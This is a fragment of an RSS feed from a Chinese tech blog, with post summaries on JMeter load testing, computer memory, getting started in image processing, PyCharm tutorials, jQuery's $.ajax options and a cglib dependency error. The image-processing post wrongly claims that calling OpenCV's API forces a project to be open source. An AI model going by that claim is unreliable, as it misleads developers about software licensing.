      <description>一、添加线程组&#xA;一个性能测试请求负载是基于一个线程组完成的。一个测试计划必须有一个线程组。测试计划添加线程组非常简单。在测试计划右键弹出下拉菜单（添加--&amp;gt;Threads(Users)---&amp;gt;线程组）中选择线程组。&#xA;线程组主要包含三个参数:线程数、准备时长（Ramp-Up Period(in seconds)）、循环次数。&#xA;1.线程数:虚拟用户数。一个虚拟用户占用一个进程或线程。设置多少虚拟用户数在这里也就是设置多少个线程数&#xA;2.准备时长:设置的虚拟用户数需要多长时间全部启动。如果线程数为20 ，准备时长为10 ，那么需要10秒钟启动20个线程。也就是每秒钟启动2个线程 3.循环次数:每个线程发送请求的次数。如果线程数为20 ，循环次数为100 ，那么每个线程发送100次请求。总请求数为20*100=2000 。如果勾选了“永远”，那么所有线程会一直发送请求，一到选择停止运行脚本&#xA;这里我们根据20QPS的负载分别设置这三个参数为20、10、10&#xA;======================================================================================&#xA;二、添加HTTP请求&#xA;添加完成线程组后，在线程组上右键菜单（添加---&amp;gt;Sampler---&amp;gt;HTTP请求）选择HTTP请求。对于JMeter来说，取样器（Sampler）是与服务器进行交互的单元&#xA;一个HTTP请求的配置参数主要包括:&#xA;1.名称:本属性用于标识一个取样器，建议使用一个有意义的名称&#xA;2.注释:对于测试没有任何作用，仅用户记录用户可读的注释信息&#xA;3.服务器名称或IP :HTTP请求发送的目标服务器名称或IP地址&#xA;4.端口号:目标服务器的端口号，默认值为80&#xA;5.协议:向目标服务器发送HTTP请求时的协议，可以是http或者是https ，默认值为http&#xA;6.方法:发送HTTP请求的方法，可用方法包括GET、POST、HEAD、PUT、OPTIONS、TRACE、DELETE等&#xA;7.Content encoding :内容的编码方式，默认值为iso8859&#xA;8.路径:目标URL路径（不包括服务器地址和端口）&#xA;9.自动重定向:如果选中该选项，当发送HTTP请求后得到的响应是302/301时，JMeter 自动重定向到新的页面。&#xA;10.Use keep Alive :当该选项被选中时，JMeter 和目标服务器之间使用 Keep-Alive方式进行HTTP通信，默认选中&#xA;11.Use multipart/from-data for HTTP POST :当发送HTTP POST 请求时，使用Use multipart/from-data方法发送，默认不选中&#xA;12.同请求一起发送参数:在请求中发送URL参数，对于带参数的URL ，JMeter提供了一个简单的对参数化的方法&#xA;13.同请求一起发送文件:在请求中发送文件，默认不选中，如果用户只希望获取页面中的特定资源，可以在下方的Embedded URLs must match 文本框中填入需要下载的特定资源表达式，这样，只有能匹配指定正则表达式的URL指向资源会被下载。&#xA;14用作监视器:此取样器被当成监视器，在Monitor Results Listener 中可以直接看到基于该取样器的图形化统计信息。默认不选中&#xA;==================================================================================&#xA;三、设置qps&#xA;Constant Throughput Timer （常数吞吐量定时器），该定时器可以方便地控制给定的取样器发送请求的吞吐量。右键点击fnng.cnblogs.com ，弹出菜单（添加---&amp;gt;定时器---&amp;gt;Constant Throughput Timer）选择Constant Throughput Timer。</description>
    </item>
    <item>
      <title>计算机组成原理-存储器</title>
      <link>https://bchobby.github.io/posts/698f6f8bd5605d70522fd9cd094b8c04/</link>
      <pubDate>Wed, 30 Dec 2015 14:41:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/698f6f8bd5605d70522fd9cd094b8c04/</guid>
      <description> 存储器 计算机系统中的记忆设备，用来存放程序和数据。 由于超大规模集成电路的制作技术，使CPU的速度变得惊人的高，而存储器的取数和存数的速度与它很难适配，这使计算机系统的运行速度在很大程度上受存储器速度的制约。 半导体存储器 体积小、功耗低、存取时间短，当电源消失时，所存信息也随即丢失，近年来已研制出用非挥发性材料制成的半导体存储器。&#xA;按其功能分为:随机存取存储器（RAM）和只读存储器（ROM）。&#xA;RAM 任何一个存储单元的内容都可以随机存取，而且存取时间与存储单元的物理位置无关。当关机或断电时，其中的信息都会随之丢失。&#xA;RAM包括DRAM(动态随机存储器)和SRAM(静态随机存储器)。&#xA;DRAM主要用于主存（内存的主体部分）SRAM主要用于高速缓冲存储器。 ROM 主要用于BIOS存储器。 主存储器 简称主存或内存包括存储体M、各种逻辑部件及控制电路等。用来存放将要参与运行的程序和数据，可以和CPU直接交换信息。&#xA;存储体由许多存储单元组成，每个存储单元又包含若干个存储元件（或称存储基元、存储元），每个存储元件能寄存一位寄存器代码“0”或“1”。一个存储单元可存储一串二进制代码，称这串二进制代码为一个存储字，这串二进制代码的位数成为存储字长。&#xA;计算机存储信息的最小单位，称为位（bit，又称比特）存储器中所包含存储单元的数量成为存储容量，计量基本单位是字节（Byte，简称B）1B＝8bit，1KB=1024B，1MB=1024KB，1GB=1024MB，1TB=1024GB 辅助存储器 主存储器的后援存储器，用来存放当前暂时不用的程序和数据，它不能与CPU直接交换信息。 高速缓冲存储器 主存其速度与CPU速度差距较大，为了使他们之间速度更好地匹配，在主存与CPU之间插入了一种比主存速度更快、容量更小的高速缓冲存储器Cache。 </description>
    </item>
    <item>
      <title>图像处理入门教程</title>
      <link>https://bchobby.github.io/posts/4a3e7335329032a343e9f682566ca2bb/</link>
      <pubDate>Tue, 29 Dec 2015 11:21:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a3e7335329032a343e9f682566ca2bb/</guid>
      <description>最近有人问我图像处理怎么研究，怎么入门，怎么应用，我竟一时语塞。仔细想想，自己也搞了两年图像方面的研究，做个两个创新项目，发过两篇论文，也算是有点心得，于是总结总结和大家分享，希望能对大家有所帮助。在写这篇教程之前我本想多弄点插图，让文章看起来花哨一点，后来我觉得没必要这样做，大家花时间沉下心来读读文字没什么不好，况且学术和技术本身也不是多么花哨的东西。&#xA;一、图像处理的应用&#xA;这个其实没什么好说的，一种技术的应用价值不是靠嘴上说，而是要看有多少人去搞，很简单的道理。其实我觉得判断一项技术有没有价值、有多大价值的最简单最有效的方法就是看有多少人在研究它。如果大家都在研究，那必然说明它很火，至少目前很火，以后的几年里依然还会火。因此，如果你不确定图像处理是不是有价值，那就查查全国图像处理工程师的数量就行了。&#xA;当然这里还是简单提一下。如果你真的只想问“图像处理有什么用？”，相信百度会给出比我更专业的答案。不过作为图像处理的行内人，我还是从几个基本的点来具体说一下。&#xA;1、身份认证&#xA;21世纪是刷脸的时代，这一点无可厚非。首先是银行，据说重庆的银行已经使用了人脸识别的验证系统来进行辅助的认证。其次是门禁系统，以前是指纹，虹膜，现在就是人脸。指纹、虹膜的识别虽然准确，但是有侵犯性，采集的过程中有侵犯性，验证的过程中也有侵犯性，反正让谁天天录指纹（采集指纹信息），用眼睛瞪摄像头（采集虹膜信息），谁都会觉得不舒服的，况且手还会脱皮。相比之下，人脸的识别就方便多了，拍张照片（采集人脸信息）谁都不会介意。最后是监控，一个摄像头所拍的监控能从不同的角度记录成百上千的人（比如车站等密集场所的监控），让警察去辨认将是一个浩大的工程，要是系统能够自动判别人员信息，无疑会给办案带来极大方便。&#xA;2、监控安防&#xA;安防监控可以说是图像处理领域最有潜力的应用领域。如今各个城市都在疯狂的安装监控摄像头，全国时刻都有无数的摄像头在录监控，但是安防监控的后端处理却没跟上。什么是后端处理，简单的说就是监控录像的视频处理。注意这里的视频处理可就不止包含人脸识别了，还有行人检测、异常检测、显著性检测、协同跟踪等。人脸识别之前说了，这里简单说说行人异常检测。图像处理中的行人异常检测在外行人眼中是一个非常有魔力的东西。毕竟让摄像头通过监控视频就能判断出当前画面中谁是好人谁是坏人（当然直接分为好人和坏人还是太武断了），在一般思维中貌似是不可能的。但是请不要忽略这样一个事实，就是目前大部分监控视频的分析处理都是由人工来完成的，警察破案时经常动不动就调出最近几天的监控视频，然后从头看到尾，其工程量之大可想而知。也正是这样才催生了人们对智能监控方面的研究，因为有这方面的实际需求。当然我们的视频分析程序不会直接给出诸如“好人or坏人”这样的武断而片面的判断结果。就当前的技术水平而言，能够统计当下监控画面中的人数（行人检测）、定位他们的人脸（人脸检测）、识别他们的身份（人脸识别）、判别他们的表情（表情识别）、检测他们的动作（异常检测），这就已经够了。这样以后人们就不会再面对长达几十甚至上百个小时的监控视频发呆，而是直接分析计算机给出的数据，当前画面中有多少人、都是谁、谁的动作可疑等。总之，接下来智能监控发展会很迅速，因为需求很迫切。&#xA;3、深度学习（Deep Learning）&#xA;通俗的说一句，“图像处理是深度学习应用的天堂”。深度学习这个概念可能有人不太熟悉，大家可以自行百度，我这里给出一个相对通俗的解释：“如果你不知道什么叫深度学习，就想想《终结者》中的T-800”。当然这句话不是我说的，是出自业界的一位大牛之口。当然这可能有点小片面，不过深度学习确实是公认的新一代人工智能的基础。&#xA;这里举两个例子。一是谷歌的人工大脑项目。谷歌公司可以说是深度学习方面的牵头企业了，其在2012年公布的谷歌大脑项目，动用了1.6万个计算节点，训练数周，得到的人工智能模型能够自主识别猫脸图像，为新一代人工智能开辟了道路，之后微软深度学习研究院、百度深度学习研究院等机构都开始大量投入，各个高校也搞得风声水起，原因很简单，大家都知道它会火。&#xA;第二就是图像识别方面的竞赛。最有权威的就是ImageNet竞赛。大家在一个拥有上千万张，上千类别的图像数据库上训练和测试自己的算法，比拼识别率。近几年来，摘得桂冠的一直都是深度学习模型，确切的说是卷积神经网络。更多有关ImageNet历年的竞赛信息大家可以自行百度。&#xA;说道深度学习在图像处理的应用，不得不提中国的汤晓鸥教授，说他是国内深度学习的领头羊也不为过。他提出的DeepID人脸识别算法（一共分为三代），在一些大规模人脸数据库上的正确率（若LFW库）已经达到了99.75%，单纯从数字上讲的话可以说已经超越了人类的识别率，为此汤教授还开办了公司，开发FaceSDK（虽然还没有公布）。不过拿计算机和人脑相比本身就是不合理的，各有所长嘛。不过可见DeepLearning在图像识别领域的强大威力。至于深度学习与图像处理的关系这里就不用多说了，谷歌大脑识别的是图像，深度学习竞赛用的是图像，DeepID识别的还是图像人脸，虽然深度学习在其他方面诸如语音识别等也有应用，在图像处理依然是其主要的应用领域。&#xA;二、图像处理研究工具&#xA;图像处理的研究分为算法研究和应用两个部分。用到的主要编程语言有Matlab、C/C++、Python等，原因很简单，它们都有很多相应的第三方库，不用我们从零开始编程。&#xA;1、Matlab&#xA;MathWork公司的Matlab软件可以说是算法研究的利器，它的强大之处在于其方便快捷的矩阵运算能力和图形仿真能力，单从简洁性和封装性来说，确实完爆其他语言。但高度封装必然会相应的损失一部分灵活性，况且Matlab严格的讲更像是一个工具，而非一门编程语言。顺便提一句，它在2015年编程语言排行榜中位于第20名，仅次于IOS开发的Objective-C。&#xA;对于算法研究人员（尤其是高校的硕士博士），首选工具自然是matlab，因为它简便快捷，封装性好，更重要的是全世界几乎所有的算法大牛、精英教授都会首先公布对应的Matlab源码，然后在逐步改写成其他语言进行实际应用。所以，如果你想做图像处理方面的研究，Matlab是必须掌握的，而且是熟练掌握。当你有一些想法需要验证时，最好明智的先用matlab编写出来测试。如果你上来就用看似高大上的C++来实验，不仅错误BUG一大堆，到头来可能效果还不佳，就算效果好，时间也会耽搁不少，毕竟算法开发还是要快的，这样才能赶在别人之前发论文。总之，只要是接触图像算法，终究逃不过Matlab，就算你是软件开发的，不研发算法，但总得能看懂别人的Matlab算法吧。&#xA;对于之前没怎么接触过Matlab与图像处理的人，在这里推荐一本相关的书籍《MATLAB图像处理实例详解（附光盘）》。这本书对于Matlab图像处理入门还是很有帮助的。记得我当时刚上研究生时就靠两本书入门的，一是冈萨雷斯的《数字图像处理》，二是这本《MATLAB图像处理实例详解》。不过这里友情提示，在看这类教程（不仅仅是Matlab）时千万不要试图去记忆所有的工具函数，这种做法是十分愚蠢的。正确的做法是根据自己的情况快速翻阅这类工具书，可以找出里面的有实际意义的源码来敲一敲练练手感，至于具体的工具函数，只需要知道Matlab提供了这方面的功能就行了，以后用到了再回来查，或者谷歌百度。我觉得在入门阶段，最重要的不是看了多少书，听了多少课，而是尽快自己敲出一段代码，运行出结果，来建立自信和成就感，这才是支持我们走下去的最实在的动力。记得我当时看了没多久就自己敲了一个蹩脚的车牌检测的Matlab程序，现在看来真是漏洞百出，不过当时我真的很兴奋，很有成就感，觉得自己能干这行，对于初学者来说，这种感受弥足珍贵。&#xA;2、OpenCv&#xA;Opencv是Intel公司开发的C++图像处理工具包，形象的理解为就是C++版的Matlab。当初Intel公司开发这个工具包的初衷也是方便大家共享，希望大家能够在一个共同架构的基础上共同建造摩天大楼，而不是各自在自己的地基上盖平房。与Matlab不同，Opencv是面向开发的，稳定性好，异常处理机制周全，但有一点需要注意，由于Opencv是开源的，那么如果你在项目中直接调用了它的API，那就意味着你的项目也必须开源。因此在真正的产品开发过程中，往往需要从Opencv库里面挖代码，而不是直接调用，幸好Intel公司允许我们看源码，自己编译一把就可以了。&#xA;说道C++和Opencv，有一个问题不得不提，那就是深度学习领域大名鼎鼎的Caffe框架。这是一个典型的基于C++和OpenCv的深度学习框架，由谷歌深度学习团队、“谷歌大脑”负责人之一贾扬清学者编写，并公布了源码。如今各个深度学习机构都在大量使用这个框架进行研究。&#xA;这里同样对推荐两本关于Opencv方面的教程。一本是CSDN博客大牛毛星云写的《OpenCV3编程入门》，这是它根据自己多年的博客整理成的书，很详细，很典型的一本教程，介绍了OpenCv中相对前沿的知识。我翻看过这本教程，中规中矩，里面的代码通俗易懂，尤其适合初学者。当然大家同样要注意不要犯了死读书的毛病，只看它的功能，敲代码练手感即可，不要试图记忆API函数。重要的工具用多了自然会记住，不重要的工具记住了也没用。&#xA;这里推荐的第二本书是《图像识别与项目实践――VC++、MATLAB技术实现》，这本书是一本偏向于工程应用的书，我之所以推荐它是因为它给出了很多有新意、能运行的代码。其中里面有一个项目让我印象很深，是一个车牌检测的实例。简单描述一下：由于车牌中的字符数是固定的，因此它通过判断横向区域笔画的跳变数以及笔画宽度来定位车牌区域。这个想法让人耳目一新，并且它还给出了详细代码，我也亲身试验过，效果还不错。&#xA;这里同样再强调一下，就是一定要尽早入手写程序，建立自信和成就感。我当时学OpenCv正好用它开发了一个人脸性别识别的系统，是一个本科大学生创新计划的需求，效果还可以。&#xA;3、Python&#xA;Python在今年12月份的编程语言排行榜中名列第5，增长迅速。可以说Python已经逐渐成为当下脚本语言的新标准。Python在图像处理算法方面除了其自身简洁的编程优势外，还得益于两个重要的Python类库——Numpy和Theano。&#xA;Numpy是Python的线性代数库，对于矩阵运算能提供很好的支持，并且能够在此基础上进行很多机器学习相关算法的开发仿真，这里推荐一本受到大家广泛认可的书《机器学习实战》，我最近也正在看这本书，里面对好多机器学习领域的经典算法，小到KNN，大到SVM，都给出了详细的介绍以及代码实现（Python版）。Theano是Python的机器学习库，能够方便的实现深度学习（例如卷积神经网络CNN）算法，网上很多对于DeepID算法的复现都是用的这个库。&#xA;人觉得单从图像处理的角度评价的话，Python并没有前面两个工具（Matlab和OpenCv）应用广泛，不过作为通用的脚本语言，我觉得每个程序员都应该去了解了解它，毕竟俗话说没有烂的编程语言，只有烂程序员。我在学Python时第一个自己写的程序就是微信打飞机的小程序，在我的博客中有详细的教程，虽然是参照小甲鱼的《零基础入门学习Python》视频教程写的，但还是蛮有成就感的。&#xA;三、图像处理研究方法&#xA;我觉得，图像处理研究主要可以分为三个部分：基础概念、基本思想、算法研究。&#xA;1、基础概念&#xA;所谓基础概念，就是图像处理里最基本的知识，比如什么是图像？什么是像素？什么是彩色图像等等。没有一个明确的界限来划定什么是基础概念什么是高级知识，因人而异。了解图像处理的基础知识，有一本书是必读的，就是冈萨雷斯编写的、阮秋琦翻译的《数字图像处理》。这本书已经作为图像处理领域的经典教材使用了三十多年，我自己也把这本书看了好几遍，每一遍都会有新的体会。我觉得每一个搞图像的都应该熟读这本书。书中除了有几章内容在讲小波变换、模式识别等相对抽象的内容外，其他内容相对都是很基础的，本科生水平就能看懂。而且我建议要尽早看这本书，如果是研究生尽量在进入课题之前就看一遍，因为这样一本经典的书在进入课题之后可能就没时间看了，以后也顶多是查阅而已。我当初就是在大四的寒假看完了这本书，以后在图像入门的过程中就显得轻松很多。看完这本书，哪怕是只看前几章，明白了什么是图像（二维或者三维矩阵）、什么是像素、彩色图和灰度图、颜色空间、图像滤波、图像噪声、图像频域变换等概念，将来在进行更深一步的研究的话就会方便很多了。&#xA;2、基本思想&#xA;刚开始想把这部分内容命名为“基本算法”，意在介绍图像处理中的一些基本算法，后来仔细想想决定不这么写，因为图像处理是一个非常大的概念，图像处理不等于人脸识别，也不等于模式识别，直接介绍诸如图像处理基本算法之类的内容很容易写成空话，没有什么实际意义。读者有兴趣的话可以直接谷歌百度“图像处理十大经典算法”，上面有我想说的内容。&#xA;万变不离其宗，算法是死的，重在思想。举个例子，我个人是主攻模式识别方向，在这个方向判断一个学生是否入门有一个非常简单的方法，就是“如果你能把图像很自然的想象成高维空间中的一个点”，那就说明在模式识别方面入门了，可以对图像进行分类了。当然标准不是唯一，在其他领域如目标检测也会有其他的判断标准，总之我们要对图像进行处理，那么图像就不再只是图像，它可能会演变成各种不同形式的概念，可能是点，可能是面，还可能是一个坐标空间。在目标跟踪的经典算法粒子滤波中，将一个个的小图像块看做一个个粒子；在子空间理论中，将一系列图像放在一起构建一个成分主空间（例如主成分分析PCA算法等等。，我不会详细介绍这些算法，说多了就显得抽象老套，但我要说的是我们一定要把图像本身理解好，它是一个图像，是一个矩阵，是一个信息的容器，是一种数据的表现形式，图像不一定都必须在视觉上有意义（比如频域的图像）。&#xA;总之图像处理的基本思想还是要立足于图像本身，要深度到图像内部结构中，思维要灵活。我当时做本科毕设时，怎么也不知道图像和高维空间中的点之间有什么对应关系，后来总算有一天，突然就明白了，这也就是所谓的量变产生质变。总之一定要多想，多总结，主动去钻研，才能够真正领悟一些东西。最基本的东西往往蕴藏着深奥的道理，无论你现在多牛多厉害，都不能放掉最本源的东西。多想想图像是什么，有什么本质属性，你可能无法得到准确的答案，但肯定能得到一些有用的感悟（有点像哲学问题了）。&#xA;3、算法研究&#xA;算法研究应该是图像处理的核心工作，尤其是各大高校的博士硕士。这里我并不想谈那些高大上的算法，我更想说的是一些算法研究的一些基础的东西，比如说一些基础课程，比如说矩阵运算。&#xA;研究图像处理的算法，离不开数学。在这里我建议图像处理方面的硕士一定要上两门课：《泛函分析》以及《最优化算法》，有的学校已经将这两门课列为了研究生阶段的必修课程。这两门可可以说是图像处理（至少是模式识别）的基础。我当初没上过最优化算法，但后来也自己补上了，不然真的是寸步难行。至于泛函我当时听课的时候也不是很懂，但是在之后的研究过程中发现很多图像处理的基本知识基本理论都和泛函分析中枯燥的定理如出一辙，没办法，有的东西本身就是枯燥的干货，学着费力，缺它不行。&#xA;其次我想说的是矩阵运算。图像就是矩阵，图像处理就是矩阵运算。大家为什么都喜欢用Matlab，就是因为它的矩阵运算能力实在是太强大，在Matlab的世界中任何变量都是矩阵。同样OpenCv之所以能流行，不仅仅是因为它良好的封装性，也是因为它的矩阵格式，它定义了Mat基础类，允许你对矩阵进行各种操作。Python也不例外，它的Numpy就是一个专门的线性代数库。&#xA;真正在图像编程过程中，那些看着高大上的API函数归根到底都是工具，查查手册就能找到，真正核心还是在算法，算法是由公式编写的，公式的单元是变量，而图像届的变量就是矩阵。所以，熟练去操作矩阵，求秩、求逆、最小二乘，求协方差，都是家常便饭。所以，如果你有幸能上《矩阵分析》这门课，一定要把它看懂，那里面都是干货。&#xA;四、小结&#xA;总之，图像处理就是一个典型的门槛低、厅堂深的领域。不需要太多基础，学过线性代数，会一点编程就够了；但是那些算法却深不可测，是个消耗功夫的活儿。在写这篇教程时我说的很直白，就像和大家对话一样，想到什么说什么。在最后我想说两句题外话，就是不仅仅针对图像处理，对于其他新技术的入门学习也是一样，尽快迈出第一步，尽快去建立自信和成就感，让自己有勇气走下去，然后缺什么补什么就行了。我觉得真正让人望而却步的往往不是技术本身，而是我们对自身的不自信。唯有果断开工，才能战胜心魔。&#xA;如果觉得这篇文章对您有所启发，欢迎关注我的公众号，我会尽可能积极和大家交流，谢谢。</description>
    </item>
    <item>
      <title>我的Pycharm，我做主</title>
      <link>https://bchobby.github.io/posts/3d828df3ee2028a76967c23e76f9fdde/</link>
      <pubDate>Wed, 23 Dec 2015 17:00:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d828df3ee2028a76967c23e76f9fdde/</guid>
      <description>之间花了一周多的时间把Pycharm官方帮助文档翻译了一遍，一共43篇博客，累得要屎，感悟颇多。&#xA;发牢骚之前先总结点干货，这里把所有的翻译文档列成如下目录，方便大家索引：&#xA;最全Pycharm教程（1）——定制外观&#xA;最全Pycharm教程（2）——代码风格&#xA;最全Pycharm教程（3）——代码的调试、运行&#xA;最全Pycharm教程（4）——有关Python解释器的相关配置&#xA;最全Pycharm教程（5）——Python快捷键相关设置&#xA;最全Pycharm教程（6）——将Pycharm作为Vim编辑器使用&#xA;最全Pycharm教程（7）——虚拟机VM的配置&#xA;最全Pycharm教程（8）——Django工程的创建和管理&#xA;最全Pycharm教程（9）——创建并运行一个基本的Python测试程序&#xA;最全Pycharm教程（10）——Pycharm调试器总篇&#xA;最全Pycharm教程（11）——Pycharm调试器之断点篇&#xA;最全Pycharm教程（12）——Pycharm调试器之Java脚本调试&#xA;最全Pycharm教程（13）——Pycharm部署&#xA;最全Pycharm教程（14）——Pycharm编辑器功能总篇&#xA;最全Pycharm教程（15）——Pycharm编辑器功能之自动生成格式&#xA;最全Pycharm教程（16）——Pycharm编辑器功能之代码自动生成&#xA;最全Pycharm教程（17）——Pycharm编辑器功能之自动导入模块&#xA;最全Pycharm教程（18）——Pycharm编辑器功能之代码拼写提示&#xA;最全Pycharm教程（19）——Pycharm编辑器功能之代码折叠&#xA;最全Pycharm教程（20）——Pycharm编辑器功能之模板应用&#xA;最全Pycharm教程（21）——Pycharm编辑器功能之代码快速修改&#xA;最全Pycharm教程（22）——Pycharm编辑器功能之窗口选项卡管理&#xA;最全Pycharm教程（23）——Pycharm编辑器功能之代码高亮显示及错误提示机制&#xA;最全Pycharm教程（24）——Pycharm编辑器功能之宏定义&#xA;最全Pycharm教程（25）——Pycharm编辑器功能之查看帮助文档&#xA;最全Pycharm教程（26）——Pycharm搜索导航之文件名、符号名搜索&#xA;最全Pycharm教程（27）——Pycharm搜索导航之跳转到声明与定义&#xA;最全Pycharm教程（28）——Pycharm搜索导航之搜索应用实例&#xA;最全Pycharm教程（29）——再探IDE，速成手册&#xA;最全Pycharm教程（30）——Pycharm中的File Watchers&#xA;最全Pycharm教程（31）——Pyhcarm实战&#xA;最全Pycharm教程（32）——根据FHS在Linux上安装Pycharm&#xA;最全Pycharm教程（33）——使用Pycharm编写IPython Notebook文件　最全Pycharm教程（34）——Pycharm内置终端以及远程SSH工具的使用&#xA;最全Pycharm教程（35）——Pycharm中使用Vagrant&#xA;最全Pycharm教程（36）——Pycharm中Vagrant高级技巧&#xA;最全Pycharm教程（37）——Pycharm版本控制之基础篇&#xA;最全Pycharm教程（38）——Pycharm版本控制之远程共享&#xA;最全Pycharm教程（39）——Pycharm版本控制之本地Git用法&#xA;最全Pycharm教程（40）——Pycharm扩展功能之捆绑插件TextMate&#xA;最全Pycharm教程（41）——Pycharm扩展功能之便签注释&#xA;最全Pycharm教程（42）——Pycharm扩展功能之Emacs外部编辑器&#xA;最全Pycharm教程（43）——Pycharm扩展功能之UML类图使用&#xA;一、不妥之处&#xA;说实话这个教程翻译得还是有一些不完善的地方，主要有一下几点：&#xA;1、教程中的跳转链接没有处理好&#xA;在翻译过程中只是按照目录翻译了官方文档的内容，至于文档内部的链接地址则没有仔细处理，都是直接跳转到了原有的英文原版的链接界面。对于教程各个篇章之间的链接跳转也没有做详细处理，也是直接跳到了原版。没办法，因为链接实在太多太复杂了，大家直接从这个目录上进入到对应模块吧。&#xA;2、部分名词未进行翻译&#xA;由于译者经验有限，在加上这里观法给出的帮助文档所涉及的范围实在是太广，以致某些专有名词译者之前并没有接触过，有道、谷歌等翻译机构给出的译文又不尽合理，因此选择了保留原有名词，望相关领域的大牛给予帮助。&#xA;3、解释性语言经过适当改动&#xA;教程的前半部分一般都是严格按照官方文档的内容进行翻译，包括以下幽默的引用、辅助性的提问等等。在后半部分教程，尤其是后十篇，由于期间回了趟家，课题安排又比较紧，所以加快了翻译进度。对于一些重复性的解释、意义不大的提问等等都予以省略，但主要的操作解释部分的说明依然是完全按照官方文档的说明进行了直译，避免发生歧义。&#xA;二、注意事项&#xA;1、速成手册&#xA;不得不说，这个教程规模实在是有点庞大，不过其中有两篇是独立的速成手册，分别是最全Pycharm教程（29）——再探IDE，速成手册和最全Pycharm教程（31）——Pyhcarm实战，如果你希望尽快掌握Pycharm的基本功能，建议直接阅读这两篇教程即可。&#xA;2、版本问题&#xA;Pycharm目前已经更新到了5.0版，相对于之前的2.x、3.x版本，在界面设计上有了较大改变，所以在实际操作中可能会出现选项卡找不到的情况。不过Pycharm提供了设置搜索功能，在不能顺利某个设置页时，可以直接在设置对话框的搜索栏中输入对应设置页的名称来进行定位。&#xA;如果觉得这篇文章对您有所启发，欢迎关注我的公众号，我会尽可能积极和大家交流，谢谢。</description>
    </item>
    <item>
      <title>js中的$.ajax()方法详解</title>
      <link>https://bchobby.github.io/posts/2c6b0efaa49fe753a67b31a685adebfb/</link>
      <pubDate>Wed, 16 Dec 2015 16:49:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c6b0efaa49fe753a67b31a685adebfb/</guid>
      <description>1.url: 要求为String类型的参数，（默认为当前页地址）发送请求的地址。&#xA;2.type: 要求为String类型的参数，请求方式（post或get）默认为get。注意其他http请求方法，例如put和delete也可以使用，但仅部分浏览器支持。&#xA;3.timeout: 要求为Number类型的参数，设置请求超时时间（毫秒）。此设置将覆盖$.ajaxSetup()方法的全局设置。&#xA;4.async: 要求为Boolean类型的参数，默认设置为true，所有请求均为异步请求。如果需要发送同步请求，请将此选项设置为false。注意，同步请求将锁住浏览器，用户其他操作必须等待请求完成才可以执行。&#xA;5.cache: 要求为Boolean类型的参数，默认为true（当dataType为script时，默认为false），设置为false将不会从浏览器缓存中加载请求信息。&#xA;6.data: 要求为Object或String类型的参数，发送到服务器的数据。如果已经不是字符串，将自动转换为字符串格式。get请求中将附加在url后。防止这种自动转换，可以查看　processData选项。对象必须为key/value格式，例如{foo1:&#34;bar1&#34;,foo2:&#34;bar2&#34;}转换为&amp;amp;foo1=bar1&amp;amp;foo2=bar2。如果是数组，JQuery将自动为不同值对应同一个名称。例如{foo:[&#34;bar1&#34;,&#34;bar2&#34;]}转换为&amp;amp;foo=bar1&amp;amp;foo=bar2。&#xA;7.dataType: 要求为String类型的参数，预期服务器返回的数据类型。如果不指定，JQuery将自动根据http包mime信息返回responseXML或responseText，并作为回调函数参数传递。可用的类型如下：&#xA;xml：返回XML文档，可用JQuery处理。&#xA;html：返回纯文本HTML信息；包含的script标签会在插入DOM时执行。&#xA;script：返回纯文本JavaScript代码。不会自动缓存结果。除非设置了cache参数。注意在远程请求时（不在同一个域下），所有post请求都将转为get请求。&#xA;json：返回JSON数据。&#xA;jsonp：JSONP格式。使用SONP形式调用函数时，例如myurl?callback=?，JQuery将自动替换后一个“?”为正确的函数名，以执行回调函数。&#xA;text：返回纯文本字符串。&#xA;8.beforeSend：&#xA;要求为Function类型的参数，发送请求前可以修改XMLHttpRequest对象的函数，例如添加自定义HTTP头。在beforeSend中如果返回false可以取消本次ajax请求。XMLHttpRequest对象是惟一的参数。&#xA;function(XMLHttpRequest){&#xA;this; //调用本次ajax请求时传递的options参数&#xA;}&#xA;9.complete：&#xA;要求为Function类型的参数，请求完成后调用的回调函数（请求成功或失败时均调用）。参数：XMLHttpRequest对象和一个描述成功请求类型的字符串。&#xA;function(XMLHttpRequest, textStatus){&#xA;this; //调用本次ajax请求时传递的options参数&#xA;}&#xA;10.success：要求为Function类型的参数，请求成功后调用的回调函数，有两个参数。&#xA;(1)由服务器返回，并根据dataType参数进行处理后的数据。&#xA;(2)描述状态的字符串。&#xA;function(data, textStatus){&#xA;//data可能是xmlDoc、jsonObj、html、text等等&#xA;this; //调用本次ajax请求时传递的options参数&#xA;}&#xA;11.error:&#xA;要求为Function类型的参数，请求失败时被调用的函数。该函数有3个参数，即XMLHttpRequest对象、错误信息、捕获的错误对象(可选)。ajax事件函数如下：&#xA;function(XMLHttpRequest, textStatus, errorThrown){&#xA;//通常情况下textStatus和errorThrown只有其中一个包含信息&#xA;this; //调用本次ajax请求时传递的options参数&#xA;}&#xA;12.contentType：&#xA;要求为String类型的参数，当发送信息至服务器时，内容编码类型默认为&#34;application/x-www-form-urlencoded&#34;。该默认值适合大多数应用场合。&#xA;13.dataFilter：&#xA;要求为Function类型的参数，给Ajax返回的原始数据进行预处理的函数。提供data和type两个参数。data是Ajax返回的原始数据，type是调用jQuery.ajax时提供的dataType参数。函数返回的值将由jQuery进一步处理。&#xA;function(data, type){&#xA;//返回处理后的数据&#xA;return data;&#xA;}&#xA;14.dataFilter：&#xA;要求为Function类型的参数，给Ajax返回的原始数据进行预处理的函数。提供data和type两个参数。data是Ajax返回的原始数据，type是调用jQuery.ajax时提供的dataType参数。函数返回的值将由jQuery进一步处理。&#xA;function(data, type){&#xA;//返回处理后的数据&#xA;return data;</description>
    </item>
    <item>
      <title>Exception in thread &#34;main&#34; java.lang.IncompatibleClassChangeError: net/sf/cglib/core/DebuggingClassW</title>
      <link>https://bchobby.github.io/posts/d5eef55a1ebeacf68555a28982041c22/</link>
      <pubDate>Fri, 11 Dec 2015 19:36:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5eef55a1ebeacf68555a28982041c22/</guid>
      <description>问题： 今天在运行程序的时候报如下错误。&#xA;1. java.lang.NoClassDefFoundError: org/objectweb/asm/CodeVisitor 2. Exception in thread &#34;main&#34; java.lang.IncompatibleClassChangeError: net/sf/cglib/core/DebuggingClassWriter 分析：此问题一看就是cglib和asm版本包有问题了，因此查找自己现在引用的cglib版本是3.1，asm包没有引用。&#xA;解决方案：我把cglib版本换成2.2.2，cglib2.2.2会自动引用asm3.1.1包，问题就搞定了。</description>
    </item>
    <item>
